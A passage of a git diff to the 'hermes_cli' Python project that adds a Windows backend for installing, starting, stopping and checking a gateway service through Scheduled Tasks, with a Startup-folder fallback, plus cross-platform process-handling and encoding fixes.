hermes_cli import gateway_windows + gateway_windows.uninstall() elif is_container(): print("Service uninstall is not applicable inside a Docker container.") print("To stop the gateway, stop or remove the container:") @@ -4655,6 +4978,9 @@ def _gateway_command_inner(args): systemd_start(system=system) elif is_macos(): launchd_start() + elif is_windows(): + from hermes_cli import gateway_windows + gateway_windows.start() elif is_wsl(): print("WSL detected but systemd is not available.") print("Run the gateway in foreground mode instead:") @@ -4697,6 +5023,14 @@ def _gateway_command_inner(args): service_available = True except subprocess.CalledProcessError: pass + elif is_windows(): + from hermes_cli import gateway_windows + if gateway_windows.is_installed(): + try: + gateway_windows.stop() + service_available = True + except (subprocess.CalledProcessError, RuntimeError): + pass killed = kill_gateway_processes(all_profiles=True) total = killed + (1 if service_available else 0) if total: @@ -4718,9 +5052,17 @@ def _gateway_command_inner(args): service_available = True except subprocess.CalledProcessError: pass + elif is_windows(): + from hermes_cli import gateway_windows + if gateway_windows.is_installed(): + try: + gateway_windows.stop() + service_available = True + except (subprocess.CalledProcessError, RuntimeError): + pass if not service_available: - # No systemd/launchd — use profile-scoped PID file + # No systemd/launchd/schtasks service — use profile-scoped PID file if stop_profile_gateway(): print("✓ Stopped gateway for this profile") else: @@ -4750,6 +5092,14 @@ def _gateway_command_inner(args): service_stopped = True except subprocess.CalledProcessError: pass + elif is_windows(): + from hermes_cli import gateway_windows + if gateway_windows.is_installed(): + try: + gateway_windows.stop() + service_stopped = True + except (subprocess.CalledProcessError, RuntimeError): + pass killed = kill_gateway_processes(all_profiles=True) total = killed + (1 if service_stopped else 0) if total: @@ -4762,6 +5112,12 @@ def _gateway_command_inner(args): systemd_start(system=system) elif is_macos() and get_launchd_plist_path().exists(): launchd_start() + elif is_windows(): + from hermes_cli import gateway_windows + if gateway_windows.is_installed(): + gateway_windows.start() + else: + run_gateway(verbose=0) else: run_gateway(verbose=0) return @@ -4780,6 +5136,15 @@ def _gateway_command_inner(args): service_available = True except subprocess.CalledProcessError: pass + elif is_windows(): + from hermes_cli import gateway_windows + if gateway_windows.is_installed(): + service_configured = True + try: + gateway_windows.restart() + service_available = True + except (subprocess.CalledProcessError, RuntimeError): + pass if not service_available: # systemd/launchd restart failed — check if linger is the issue @@ -4822,12 +5187,20 @@ def _gateway_command_inner(args): snapshot = get_gateway_runtime_snapshot(system=system) # Check for service first + _windows_service_installed = False + if is_windows(): + from hermes_cli import gateway_windows + _windows_service_installed = gateway_windows.is_installed() if supports_systemd_services() and (get_systemd_unit_path(system=False).exists() or get_systemd_unit_path(system=True).exists()): systemd_status(deep, system=system, full=full) _print_gateway_process_mismatch(snapshot) elif is_macos() and get_launchd_plist_path().exists(): launchd_status(deep) _print_gateway_process_mismatch(snapshot) + elif _windows_service_installed: + from hermes_cli import gateway_windows + gateway_windows.status(deep=deep) + _print_gateway_process_mismatch(snapshot) else: # Check for manually running processes pids = list(snapshot.gateway_pids) @@ -4848,6 +5221,9 @@ def _gateway_command_inner(args): print("WSL note:") print(" The gateway is running in foreground/manual mode (recommended for WSL).") print(" Use tmux or screen for persistence across terminal closes.") + elif is_windows(): + print("To install as a Windows Scheduled Task (auto-start on login):") + print(" hermes gateway install") else: print("To install as a service:") print(" hermes gateway install") @@ -4868,6 +5244,8 @@ def _gateway_command_inner(args): elif is_wsl(): print(" tmux new -s hermes 'hermes gateway run' # persistent via tmux") print(" nohup hermes gateway run > ~/.hermes/logs/gateway.log 2>&1 & # background") + elif is_windows(): + print(" hermes gateway install # Install as Windows Scheduled Task (auto-start on login)") else: print(" hermes gateway install # Install as user service") print(" sudo hermes gateway install --system # Install as boot-time system service") diff --git a/hermes_cli/gateway_windows.py b/hermes_cli/gateway_windows.py new file mode 100644 index 00000000000..b4820ab311f --- /dev/null +++ b/hermes_cli/gateway_windows.py @@ -0,0 +1,689 @@ +"""Windows gateway service backend (Scheduled Task + Startup-folder fallback). + +This mirrors the contract exposed by ``launchd_install`` / ``launchd_start`` / +``launchd_status`` etc. on macOS and ``systemd_install`` / ``systemd_start`` on +Linux. It uses ``schtasks`` under the hood with ``/SC ONLOGON`` and restart-on- +failure XML settings, and falls back to a ``%APPDATA%\\...\\Startup\\.cmd`` +dropper when Scheduled Task creation is denied (locked-down corporate boxes). + +Design notes +------------ +* ``schtasks /Create /SC ONLOGON /RL LIMITED`` means the task runs at the + CURRENT USER's next logon without any elevation prompt. We also + ``schtasks /Run`` immediately after install so the gateway starts right + away without waiting for the next logon. +* We write two files: a shared ``gateway.cmd`` wrapper script (cwd + env + the + actual ``python -m hermes_cli.main gateway run --replace`` invocation) and + EITHER a schtasks entry pointing at it OR a Startup-folder ``.cmd`` that + spawns it detached. +* Status = merge of "is the schtasks entry registered?" + "is the startup + .cmd present?" + "is there a gateway process running?" so the status + command keeps working regardless of which install path was taken. +* Quoting is tricky: schtasks parses ``/TR`` itself and cmd.exe parses the + generated ``gateway.cmd``. Those are DIFFERENT parsers. We keep two + separate quote helpers (same pattern OpenClaw uses) and never cross them. +* All of this is Windows-only. ``import`` paths are still safe on POSIX but + the functions raise if called on non-Windows. +""" + +from __future__ import annotations + +import os +import re +import shlex +import shutil +import subprocess +import sys +import time +from pathlib import Path + +# Short timeouts: schtasks occasionally wedges and we don't want to hang forever. +_SCHTASKS_TIMEOUT_S = 15 +_SCHTASKS_NO_OUTPUT_TIMEOUT_S = 30 +# Patterns in schtasks stderr that mean "fall back to the Startup folder". +_FALLBACK_PATTERNS = re.compile( + r"(access is denied|acceso denegado|schtasks timed out|schtasks produced no output)", + re.IGNORECASE, +) + +_TASK_NAME_DEFAULT = "Hermes_Gateway" +_TASK_DESCRIPTION = "Hermes Agent Gateway - Messaging Platform Integration" + + +# --------------------------------------------------------------------------- +# Platform guard +# --------------------------------------------------------------------------- + +def _assert_windows() -> None: + if sys.platform != "win32": + raise RuntimeError("gateway_windows is Windows-only") + + +# --------------------------------------------------------------------------- +# Quoting helpers (two DIFFERENT parsers — do not mix) +# --------------------------------------------------------------------------- + +def _quote_cmd_script_arg(value: str) -> str: + """Quote a single argument for use INSIDE a .cmd file, for cmd.exe parsing. + + cmd.exe splits on spaces/tabs outside of double quotes. Embedded quotes + are doubled. We also refuse line breaks because they'd terminate the + logical command line mid-script. + """ + if "\r" in value or "\n" in value: + raise ValueError(f"refusing to quote value containing newline: {value!r}") + if not value: + return '""' + if not re.search(r'[ \t"]', value): + return value + return '"' + value.replace('"', '""') + '"' + + +def _quote_schtasks_arg(value: str) -> str: + """Quote a single argument for schtasks.exe's /TR parser. + + Schtasks uses a different quoting convention than cmd.exe: embedded + quotes are backslash-escaped, and the whole thing is wrapped in double + quotes if it contains whitespace or quotes. + """ + if not re.search(r'[ \t"]', value): + return value + return '"' + value.replace('"', '\\"') + '"' + + +# --------------------------------------------------------------------------- +# schtasks.exe wrapper +# --------------------------------------------------------------------------- + +def _exec_schtasks(args: list[str]) -> tuple[int, str, str]: + """Run ``schtasks.exe`` with a hard timeout. Return (code, stdout, stderr). + + If schtasks wedges, returns code=124 with a synthetic stderr string — + same convention OpenClaw uses, so the fallback detection regex matches. + """ + _assert_windows() + schtasks = shutil.which("schtasks") + if schtasks is None: + return (1, "", "schtasks.exe not found on PATH") + try: + proc = subprocess.run( + [schtasks, *args], + capture_output=True, + text=True, + timeout=_SCHTASKS_TIMEOUT_S, + # CREATE_NO_WINDOW avoids a flashing console window when the CLI + # is itself hosted in a TUI. See tools/browser_tool.py for the + # same pattern and the windows-subprocess-sigint-storm.md ref. + creationflags=0x08000000, # CREATE_NO_WINDOW + ) + return (proc.returncode, proc.stdout or "", proc.stderr or "") + except subprocess.TimeoutExpired: + return (124, "", f"schtasks timed out after {_SCHTASKS_TIMEOUT_S}s") + except OSError as e: + return (1, "", f"schtasks invocation failed: {e}") + + +def _should_fall_back(code: int, detail: str) -> bool: + return code == 124 or bool(_FALLBACK_PATTERNS.search(detail or "")) + + +# --------------------------------------------------------------------------- +# Paths: where we stash our task script and where Startup lives +# --------------------------------------------------------------------------- + +def get_task_name() -> str: + """Scheduled Task name, scoped per profile. + + Default profile: ``Hermes_Gateway`` + Named profile X: ``Hermes_Gateway_`` + """ + _assert_windows() + # Local import to avoid circular module initialization during hermes_cli boot. + from hermes_cli.gateway import _profile_suffix + + suffix = _profile_suffix() + if not suffix: + return _TASK_NAME_DEFAULT + return f"{_TASK_NAME_DEFAULT}_{suffix}" + + +def _sanitize_filename(value: str) -> str: + """Remove characters illegal in Windows filenames.""" + return re.sub(r'[<>:"/\\|?*\x00-\x1f]', "_", value) + + +def get_task_script_path() -> Path: + """The generated ``gateway.cmd`` wrapper that the schtasks entry invokes. + + Lives under ``%LOCALAPPDATA%\\hermes\\gateway-service\\.cmd`` + (or ``/gateway-service/.cmd`` so per-profile + Hermes installs stay self-contained). + """ + _assert_windows() + from hermes_cli.config import get_hermes_home + + script_dir = Path(get_hermes_home()) / "gateway-service" + script_dir.mkdir(parents=True, exist_ok=True) + return script_dir / f"{_sanitize_filename(get_task_name())}.cmd" + + +def _startup_dir() -> Path: + appdata = os.environ.get("APPDATA", "").strip() + if appdata: + return Path(appdata) / "Microsoft" / "Windows" / "Start Menu" / "Programs" / "Startup" + userprofile = os.environ.get("USERPROFILE", "").strip() or os.environ.get("HOME", "").strip() + if not userprofile: + raise RuntimeError("neither APPDATA nor USERPROFILE is set — cannot resolve Startup folder") + return ( + Path(userprofile) + / "AppData" + / "Roaming" + / "Microsoft" + / "Windows" + / "Start Menu" + / "Programs" + / "Startup" + ) + + +def get_startup_entry_path() -> Path: + _assert_windows() + return _startup_dir() / f"{_sanitize_filename(get_task_name())}.cmd" + + +# --------------------------------------------------------------------------- +# Script rendering +# --------------------------------------------------------------------------- + +def _build_gateway_cmd_script( + python_path: str, + working_dir: str, + hermes_home: str, + profile_arg: str, +) -> str: + """Build the ``gateway.cmd`` wrapper content (CRLF-terminated). + + The script: + - cd's into the project directory + - exports HERMES_HOME, PYTHONIOENCODING, VIRTUAL_ENV + - invokes ``python -m hermes_cli.main [--profile X] gateway run --replace`` + + We intentionally do NOT inline PATH overrides here — cmd.exe inherits + the per-user PATH the Scheduled Task was created with, and forcibly + rewriting PATH tends to break Homebrew/nvm-style installations. + """ + lines = ["@echo off", f"rem {_TASK_DESCRIPTION}"] + lines.append(f"cd /d {_quote_cmd_script_arg(working_dir)}") + lines.append(f'set "HERMES_HOME={hermes_home}"') + lines.append('set "PYTHONIOENCODING=utf-8"') + # VIRTUAL_ENV lets the gateway's own python detection find the venv + # if someone imports hermes_constants-based logic during startup. + venv_dir = str(Path(python_path).resolve().parent.parent) + lines.append(f'set "VIRTUAL_ENV={venv_dir}"') + + prog_args = [python_path, "-m", "hermes_cli.main"] + if profile_arg: + prog_args.extend(profile_arg.split()) + prog_args.extend(["gateway", "run", "--replace"]) + lines.append(" ".join(_quote_cmd_script_arg(a) for a in prog_args)) + return "\r\n".join(lines) + "\r\n" + + +def _build_startup_launcher(script_path: Path) -> str: + """The tiny .cmd that goes in the Startup folder. Just minimizes and chains.""" + lines = [ + "@echo off", + f"rem {_TASK_DESCRIPTION}", + # ``start "" /min`` detaches with a minimized console window. + # ``/d /c`` on cmd.exe skips AUTORUN and runs the target script once. + f'start "" /min cmd.exe /d /c {_quote_cmd_script_arg(str(script_path))}', + ] + return "\r\n".join(lines) + "\r\n" + + +def _write_task_script() -> Path: + """Generate and write the gateway.cmd wrapper. Return its absolute path.""" + _assert_windows() + # Local imports to avoid circular-init at module load time. + from hermes_cli.config import get_hermes_home + from hermes_cli.gateway import ( + PROJECT_ROOT, + _profile_arg, + get_python_path, + ) + + python_path = get_python_path() + working_dir = str(PROJECT_ROOT) + hermes_home = str(Path(get_hermes_home()).resolve()) + profile_arg = _profile_arg(hermes_home) + + content = _build_gateway_cmd_script(python_path, working_dir, hermes_home, profile_arg) + script_path = get_task_script_path() + script_path.write_text(content, encoding="utf-8", newline="") + return script_path + + +# --------------------------------------------------------------------------- +# Install / uninstall +# --------------------------------------------------------------------------- + +def _resolve_task_user() -> str | None: + """Return ``DOMAIN\\USER`` if available, else bare USERNAME, else None.""" + username = os.environ.get("USERNAME") or os.environ.get("USER") or os.environ.get("LOGNAME") + if not username: + return None + if "\\" in username: + return username + domain = os.environ.get("USERDOMAIN") + return f"{domain}\\{username}" if domain else username + + +def _install_scheduled_task(task_name: str, script_path: Path) -> tuple[bool, str]: + """Create or update the Scheduled Task. Returns (success, detail).""" + quoted_script = _quote_schtasks_arg(str(script_path)) + # First try /Change in case the task already exists — keeps the existing + # trigger + settings intact and just repoints /TR. + change_code, _out, change_err = _exec_schtasks( + ["/Change", "/TN", task_name, "/TR", quoted_script] + ) + if change_code == 0: + return (True, f"Updated existing Scheduled Task {task_name!r}") + + # Create fresh. Start with the "current user, interactive, no stored + # password" variant; if that fails, retry without /RU /NP /IT. + base = [ + "/Create", + "/F", + "/SC", + "ONLOGON", + "/RL", + "LIMITED", + "/TN", + task_name, + "/TR", + quoted_script, + ] + user = _resolve_task_user() + variants = [] + if user: + variants.append([*base, "/RU", user, "/NP", "/IT"]) + variants.append(base) + + last_code = 1 + last_err = "" + for argv in variants: + code, out, err = _exec_schtasks(argv) + if code == 0: + return (True, f"Created Scheduled Task {task_name!r}") + last_code, last_err = code, (err or out or "") + return (False, f"schtasks /Create failed (code {last_code}): {last_err.strip()}") + + +def _install_startup_entry(script_path: Path) -> Path: + """Write the Startup-folder fallback launcher. Returns its path.""" + entry = get_startup_entry_path() + entry.parent.mkdir(parents=True, exist_ok=True) + entry.write_text(_build_startup_launcher(script_path), encoding="utf-8", newline="") + return entry + + +def _derive_venv_pythonw(python_exe: str) -> str: + """Given a ``python.exe`` path, return the sibling ``pythonw.exe`` if present. + + ``pythonw.exe`` is the console-less variant. Using it for detached + daemons means there's no console handle to inherit from the spawning + shell, which is what lets the gateway survive a parent-shell exit on + Windows. Falls back to the original ``python.exe`` if the ``w`` variant + isn't there — caller must still set CREATE_NO_WINDOW in that case. + """ + p = Path(python_exe) + candidate = p.with_name(p.stem + "w" + p.suffix) + if candidate.exists(): + return str(candidate) + return python_exe + + +def _build_gateway_argv() -> tuple[list[str], str, dict[str, str]]: + """Build (argv, working_dir, env_overlay) for the gateway subprocess. + + Same logical command as what gateway.cmd runs, but assembled as a + native argv for direct ``subprocess.Popen`` invocation — no cmd.exe + layer in between. + """ + _assert_windows() + from hermes_cli.config import get_hermes_home + from hermes_cli.gateway import ( + PROJECT_ROOT, + _profile_arg, + get_python_path, + ) + + python_exe = _derive_venv_pythonw(get_python_path()) + working_dir = str(PROJECT_ROOT) + hermes_home = str(Path(get_hermes_home()).resolve()) + profile_arg = _profile_arg(hermes_home) + + argv = [python_exe, "-m", "hermes_cli.main"] + if profile_arg: + argv.extend(profile_arg.split()) + argv.extend(["gateway", "run", "--replace"]) + + env_overlay = { + "HERMES_HOME": hermes_home, + "PYTHONIOENCODING": "utf-8", + "VIRTUAL_ENV": str(Path(python_exe).resolve().parent.parent), + } + return argv, working_dir, env_overlay + + +def _spawn_detached(script_path: Path | None = None) -> int: + """Launch the gateway as a fully detached background process. + + We spawn ``pythonw.exe -m hermes_cli.main gateway run --replace`` + directly — NOT through a cmd.exe shim — because on Windows a cmd.exe + child inherits the parent session's console handle and tends to get + reaped when the spawning shell exits. pythonw.exe has no console, and + combined with DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP | + CREATE_NO_WINDOW + DEVNULL stdio + a fresh env, the resulting process + is independent of whichever shell started it. + + Arg ``script_path`` is accepted for API symmetry with older callers + but ignored — we don't need it now that we go direct. + + Returns the spawned PID so callers can verify the process actually + came up. + """ + _assert_windows() + argv, working_dir, env_overlay = _build_gateway_argv() + + # Inherit PATH etc. from the current env, overlay our required vars. + env = {**os.environ, **env_overlay} + + # DETACHED_PROCESS 0x00000008 — no console attached to child + # CREATE_NEW_PROCESS_GROUP 0x00000200 — child gets its own group, won't + # receive Ctrl+C from our group + # CREATE_NO_WINDOW 0x08000000 — belt-and-braces no-console flag + # CREATE_BREAKAWAY_FROM_JOB 0x01000000 — escape any job object the + # parent is in (prevents parent- + # job teardown from reaping us; + # some Windows Terminal versions + # wrap their children in a job). + flags = 0x00000008 | 0x00000200 | 0x08000000 | 0x01000000 + + # Redirect any stray stdout/stderr output to a sidecar log. Python's + # logging module writes to gateway.log through a FileHandler, so the + # real gateway logs still land there — this just captures anything + # that goes to print() or native stderr. + from hermes_cli.config import get_hermes_home + + log_dir = Path(get_hermes_home()) / "logs" + log_dir.mkdir(parents=True, exist_ok=True) + stray_log = log_dir / "gateway-stdio.log" + + try: + with open(stray_log, "ab", buffering=0) as log_fh: + proc = subprocess.Popen( + argv, + cwd=working_dir, + env=env, + creationflags=flags, + close_fds=True, + stdin=subprocess.DEVNULL, + stdout=log_fh, + stderr=log_fh, + ) + except OSError: + # CREATE_BREAKAWAY_FROM_JOB can fail with "access denied" when the + # parent's job object doesn't permit breakaway (some Windows + # Terminal configs). Retry without the breakaway flag — in most + # setups pythonw.exe + DETACHED_PROCESS is enough on its own. + flags_no_breakaway = flags & ~0x01000000 + with open(stray_log, "ab", buffering=0) as log_fh: + proc = subprocess.Popen( + argv, + cwd=working_dir, + env=env, + creationflags=flags_no_breakaway, + close_fds=True, + stdin=subprocess.DEVNULL, + stdout=log_fh, + stderr=log_fh, + ) + return proc.pid + + +def install(force: bool = False) -> None: + """Install the gateway as a Windows Scheduled Task (with Startup fallback). + + Idempotent: re-running updates the task to point at the current python/ + project paths. ``force`` is accepted for API parity with ``launchd_install`` + / ``systemd_install`` but isn't needed — we always reconcile. + """ + _assert_windows() + task_name = get_task_name() + script_path = _write_task_script() + + ok, detail = _install_scheduled_task(task_name, script_path) + if ok: + print(f"✓ {detail}") + print(f" Task script: {script_path}") + # Start it now so the user doesn't have to log off/on. + run_code, _out, run_err = _exec_schtasks(["/Run", "/TN", task_name]) + if run_code == 0: + _report_gateway_start("Scheduled Task") + else: + # Scheduled Task was created but /Run failed (e.g. the task's + # action is malformed). Spawn directly as a backstop. + pid = _spawn_detached(script_path) + _report_gateway_start( + f"direct spawn (PID {pid}; schtasks /Run said: {run_err.strip()})" + ) + _print_next_steps() + return + + # schtasks create didn't work. See if it's a "fall back to startup" case. + if _should_fall_back(1, detail): + print(f"↻ Scheduled Task install blocked ({detail.splitlines()[0]}) — using Startup folder fallback") + entry = _install_startup_entry(script_path) + pid = _spawn_detached(script_path) + print(f"✓ Installed Windows login item: {entry}") + print(f" Task script: {script_path}") + _report_gateway_start(f"direct spawn (PID {pid})") + _print_next_steps() + return + + # Unknown schtasks error — surface it and bail. + raise RuntimeError(f"Windows gateway install failed: {detail}") + + +def _wait_for_gateway_ready(timeout_s: float = 6.0, interval_s: float = 0.4) -> list[int]: + """Poll for a live gateway process for up to ``timeout_s`` seconds. + + Returns the list of PIDs found. Empty list means nothing came up in + time — the caller should surface that to the user as a failed start. + """ + from hermes_cli.gateway import find_gateway_pids + + deadline = time.time() + timeout_s + while time.time() < deadline: + pids = list(find_gateway_pids()) + if pids: + return pids + time.sleep(interval_s) + return [] + + +def _report_gateway_start(via: str) -> None: + pids = _wait_for_gateway_ready() + if pids: + print(f"✓ Gateway started via {via} (PID: {', '.join(map(str, pids))})") + else: + print(f"⚠ Launched gateway via {via}, but no process detected after 6s.") + print(" Check the log for startup errors:") + from hermes_cli.config import get_hermes_home + print(f" type {Path(get_hermes_home()).resolve()}\\logs\\gateway.log") + print(f" type {Path(get_hermes_home()).resolve()}\\logs\\gateway-stdio.log") + + +def _print_next_steps() -> None: + from hermes_cli.config import get_hermes_home + + hermes_home = Path(get_hermes_home()).resolve() + print() + print("Next steps:") + print(" hermes gateway status # Check status") + print(f" type {hermes_home}\\logs\\gateway.log # View logs") + + +def uninstall() -> None: + """Remove both the Scheduled Task and the Startup-folder fallback, if present.""" + _assert_windows() + task_name = get_task_name() + script_path = get_task_script_path() + startup_entry = get_startup_entry_path() + + if is_task_registered(): + code, _out, err = _exec_schtasks(["/Delete", "/F", "/TN", task_name]) + if code == 0: + print(f"✓ Removed Scheduled Task {task_name!r}") + else: + print(f"⚠ schtasks /Delete returned code {code}: {err.strip()}") + + for path, label in [(startup_entry, "Windows login item"), (script_path, "Task script")]: + try: + path.unlink() + print(f"✓ Removed {label}: {path}") + except FileNotFoundError: + pass + + +# --------------------------------------------------------------------------- +# Status / start / stop / restart +# --------------------------------------------------------------------------- + +def is_task_registered() -> bool: + code, _out, _err = _exec_schtasks(["/Query", "/TN", get_task_name()]) + return code == 0 + + +def is_startup_entry_installed() -> bool: + return get_startup_entry_path().exists() + + +def is_installed() -> bool: + """True when either the schtasks entry or the Startup fallback is present.""" + return is_task_registered() or is_startup_entry_installed() + + +def query_task_status() -> dict[str, str]: + """Parse ``schtasks /Query /V /FO LIST`` and pull the interesting keys.""" + code, out, err = _exec_schtasks(["/Query", "/TN", get_task_name(), "/V", "/FO", "LIST"]) + if code != 0: + return {} + info: dict[str, str] = {} + for raw in out.splitlines(): + line = raw.strip() + if not line or ":" not in line: + continue + key, _, value = line.partition(":") + key = key.strip().lower() + value = value.strip() + # Some Windows locales emit "Last Result" instead of "Last Run Result". + if key in {"status", "last run time", "last run result", "last result"}: + if key == "last result": + info.setdefault("last run result", value) + else: + info[key] = value + return info + + +def _gateway_pids() -> list[int]: + """Reuse the cross-platform PID scanner in gateway.py.""" + from hermes_cli.gateway import find_gateway_pids + + return list(find_gateway_pids()) + + +def status(deep: bool = False) -> None: + """Print a status report for the Windows gateway service.""" + _assert_windows() + task_name = get_task_name() + task_installed = is_task_registered() + startup_installed = is_startup_entry_installed() + pids = _gateway_pids() + + if task_installed: + print(f"✓ Scheduled Task registered: {task_name}") + info = query_task_status() + if info: + for key in ("status", "last run time", "last run result"): + if key in info: + print(f" {key.title()}: {info[key]}") + elif startup_installed: + print(f"✓ Windows login item installed: {get_startup_entry_path()}") + else: + print("✗ Gateway service not installed") + + if pids: + print(f"✓ Gateway process running (PID: {', '.join(map(str, pids))})") + else: + print("✗ No gateway process detected") + + if deep: + print() + print(f" Task name: {task_name}") + print(f" Task script: {get_task_script_path()}") + print(f" Startup entry: {get_startup_entry_path()}") + + if not task_installed and not startup_installed and not pids: + print() + print("To install:") + print(" hermes gateway install") + + +def start() -> None: + """Start the gateway. Prefers /Run on the scheduled task if present.""" + _assert_windows() + if is_task_registered(): + code, _out, err = _exec_schtasks(["/Run", "/TN", get_task_name()]) + if code == 0: + _report_gateway_start(f"Scheduled Task {get_task_name()!r}") + return + print(f"⚠ schtasks /Run failed (code {code}): {err.strip()} — falling back to direct spawn") + + # Direct spawn — no script_path needed with the new argv-based spawner. + pid = _spawn_detached() + _report_gateway_start(f"direct spawn (PID {pid})") + + +def stop() -> None: + """Stop the gateway. Tries /End on the scheduled task, then kills any stragglers.""" + _assert_windows() + from hermes_cli.gateway import kill_gateway_processes + + stopped_any = False + if is_task_registered(): + code, _out, err = _exec_schtasks(["/End", "/TN", get_task_name()]) + # schtasks returns nonzero when the task isn't currently running — don't treat that as an error. + if code == 0: + stopped_any = True + elif "not running" not in (err or "").lower(): + print(f"⚠ schtasks /End returned code {code}: {err.strip()}") + + killed = kill_gateway_processes(all_profiles=False) + if killed: + stopped_any = True + print(f"✓ Killed {killed} gateway process(es)") + if stopped_any: + print("✓ Gateway stopped") + else: + print("✗ No gateway was running") + + +def restart() -> None: + """Stop the gateway then start it again.""" + _assert_windows() + stop() + # Give Windows a moment to release the listening port. + time.sleep(1.0) + start() diff --git a/hermes_cli/hooks.py b/hermes_cli/hooks.py index de624f24612..45b3fc63745 100644 --- a/hermes_cli/hooks.py +++ b/hermes_cli/hooks.py @@ -205,7 +205,7 @@ def _cmd_test(args) -> None: if getattr(args, "payload_file", None): try: - custom = json.loads(Path(args.payload_file).read_text()) + custom = json.loads(Path(args.payload_file).read_text(encoding="utf-8")) if isinstance(custom, dict): payload.update(custom) else: diff --git a/hermes_cli/kanban_db.py b/hermes_cli/kanban_db.py index f905dd89af4..06b4f96cebc 100644 --- a/hermes_cli/kanban_db.py +++ b/hermes_cli/kanban_db.py @@ -2805,12 +2805,18 @@ def _classify_worker_exit(pid: int) -> "tuple[str, Optional[int]]": def _pid_alive(pid: Optional[int]) -> bool: """Return True if ``pid`` is still running on this host. - Cross-platform: uses ``os.kill(pid, 0)`` on POSIX and ``OpenProcess`` - on Windows. Returns False for falsy PIDs or on any OS error. + Cross-platform: uses ``OpenProcess`` + ``WaitForSingleObject`` on + Windows (via ``gateway.status._pid_exists``) and ``os.kill(pid, 0)`` + on POSIX. Returns False for falsy PIDs or on any OS error. - **Zombie handling:** ``os.kill(pid, 0)`` succeeds against - zombie processes (post-exit, pre-reap) because the process table - entry still exists. A worker that exits without being reaped by its + **DO NOT** use ``os.kill(pid, 0)`` directly on Windows — Python's + Windows ``os.kill`` treats ``sig=0`` as ``CTRL_C_EVENT`` (bpo-14484) + and will broadcast it to the target's console group, potentially + killing unrelated processes. + + **Zombie handling:** the existence check succeeds against zombie + processes (post-exit, pre-reap) because the process table entry + still exists. A worker that exits without being reaped by its parent would stay "alive" to the dispatcher forever. Dispatcher workers are started via ``start_new_session=True`` + intentional Popen handle abandonment, so init reaps them quickly — but during @@ -2821,21 +2827,14 @@ def _pid_alive(pid: Optional[int]) -> bool: """ if not pid or pid <= 0: return False - try: - if hasattr(os, "kill"): - os.kill(int(pid), 0) - except ProcessLookupError: + from gateway.status import _pid_exists + if not _pid_exists(int(pid)): return False - except PermissionError: - # Process exists, we just can't signal it. - return True - except OSError: - return False - # Still here → kill(0) succeeded. Check for zombie on platforms + # Still here → process exists. Check for zombie on platforms # where we have a cheap, deterministic process-state probe. if sys.platform == "linux": try: - with open(f"/proc/{int(pid)}/status", "r") as f: + with open(f"/proc/{int(pid)}/status", "r", encoding="utf-8") as f: for line in f: if line.startswith("State:"): # "State:\tZ (zombie)" → dead @@ -2911,7 +2910,10 @@ def _terminate_reclaimed_worker( if _pid_alive(pid): try: - kill(int(pid), signal.SIGKILL) + # signal.SIGKILL doesn't exist on Windows; fall back to SIGTERM + # (which maps to TerminateProcess via the stdlib shim). + _sigkill = getattr(signal, "SIGKILL", signal.SIGTERM) + kill(int(pid), _sigkill) info["sigkill"] = True except (ProcessLookupError, OSError): return info @@ -3035,7 +3037,9 @@ def enforce_max_runtime( time.sleep(0.5) if _pid_alive(pid): try: - kill(pid, signal.SIGKILL) + # signal.SIGKILL doesn't exist on Windows. + _sigkill = getattr(signal, "SIGKILL", signal.SIGTERM) + kill(pid, _sigkill) killed = True except (ProcessLookupError, OSError): pass @@ -3514,17 +3518,24 @@ def dispatch_once( # cleanly without calling ``kanban_complete`` / ``kanban_block`` # (protocol violation — auto-block) from a real crash (OOM killer, # SIGKILL, non-zero exit — existing counter behavior). - try: - while True: - try: - _pid, _status = os.waitpid(-1, os.WNOHANG) - except ChildProcessError: - break - if _pid == 0: - break - _record_worker_exit(_pid, _status) - except Exception: - pass + # + # Windows has no zombies / no os.WNOHANG — subprocess.Popen handles + # are freed when the Python object is garbage-collected or .wait() is + # called explicitly. The kanban dispatcher discards the Popen handle + # after spawn (``_default_spawn`` → abandon), so on Windows there's + # nothing to reap here — skip the whole block. + if os.name != "nt": + try: + while True: + try: + _pid, _status = os.waitpid(-1, os.WNOHANG) + except ChildProcessError: + break + if _pid == 0: + break + _record_worker_exit(_pid, _status) + except Exception: + pass result = DispatchResult() result.reclaimed = release_stale_claims(conn) diff --git a/hermes_cli/main.py b/hermes_cli/main.py index 0c91caf64c2..25a0cf9c708 100644 --- a/hermes_cli/main.py +++ b/hermes_cli/main.py @@ -43,6 +43,24 @@ Usage: hermes claw migrate --dry-run # Preview migration without changes """ +# IMPORTANT: hermes_bootstrap must be the very first import — it sets up +# UTF-8 stdio on Windows so print()/subprocess children don't hit +# UnicodeEncodeError with non-ASCII characters. No-op on POSIX. +# +# Guarded against ModuleNotFoundError because ``hermes_bootstrap`` is a +# top-level module registered via pyproject.toml's ``py-modules`` list. +# When the user upgrades code via ``git pull`` (or ``hermes update`` +# crashes between ``git reset --hard`` and ``uv pip install -e .``), the +# new code references ``hermes_bootstrap`` but the editable install's +# ``.pth`` file still points at the old set of top-level modules. Without +# this guard, hermes crashes on import and the user can't run +# ``hermes update`` to recover. Missing the bootstrap means UTF-8 stdio +# setup is skipped on Windows — degraded, not broken. POSIX is unaffected. +try: + import hermes_bootstrap # noqa: F401 +except ModuleNotFoundError: + pass + import argparse import json import os @@ -5345,11 +5363,16 @@ def cmd_version(args): # Show Python version print(f"Python: {sys.version.split()[0]}") - # Check for key dependencies + # Check for key dependencies. Use importlib.metadata rather than + # ``import openai`` — the SDK drags in ~800ms of pydantic-backed type + # modules just to expose ``__version__``. Metadata lookup is ~2ms. try: - import openai + from importlib.metadata import version as _pkg_version, PackageNotFoundError - print(f"OpenAI SDK: {openai.__version__}") + try: + print(f"OpenAI SDK: {_pkg_version('openai')}") + except PackageNotFoundError: + print("OpenAI SDK: Not installed") except ImportError: print("OpenAI SDK: Not installed") @@ -5784,16 +5807,14 @@ def _kill_stale_dashboard_processes( while pending and _time.monotonic() < deadline: _time.sleep(0.1) still_pending = [] + # On Windows, os.kill(pid, 0) is NOT a no-op. Route through + # the cross-platform existence check. + from gateway.status import _pid_exists for pid in pending: - try: - os.kill(pid, 0) # probe - except ProcessLookupError: - killed.append(pid) - except (PermissionError, OSError): - # Can't probe — assume still there. + if _pid_exists(pid): still_pending.append(pid) else: - still_pending.append(pid) + killed.append(pid) pending = still_pending # SIGKILL any survivors. @@ -5904,16 +5925,19 @@ def _update_via_zip(args): # individually so update does not silently strip working capabilities. print("→ Updating Python dependencies...") - uv_bin = shutil.which("uv") + pip_cmd = [sys.executable, "-m", "pip"] + uv_bin = shutil.which("uv") or 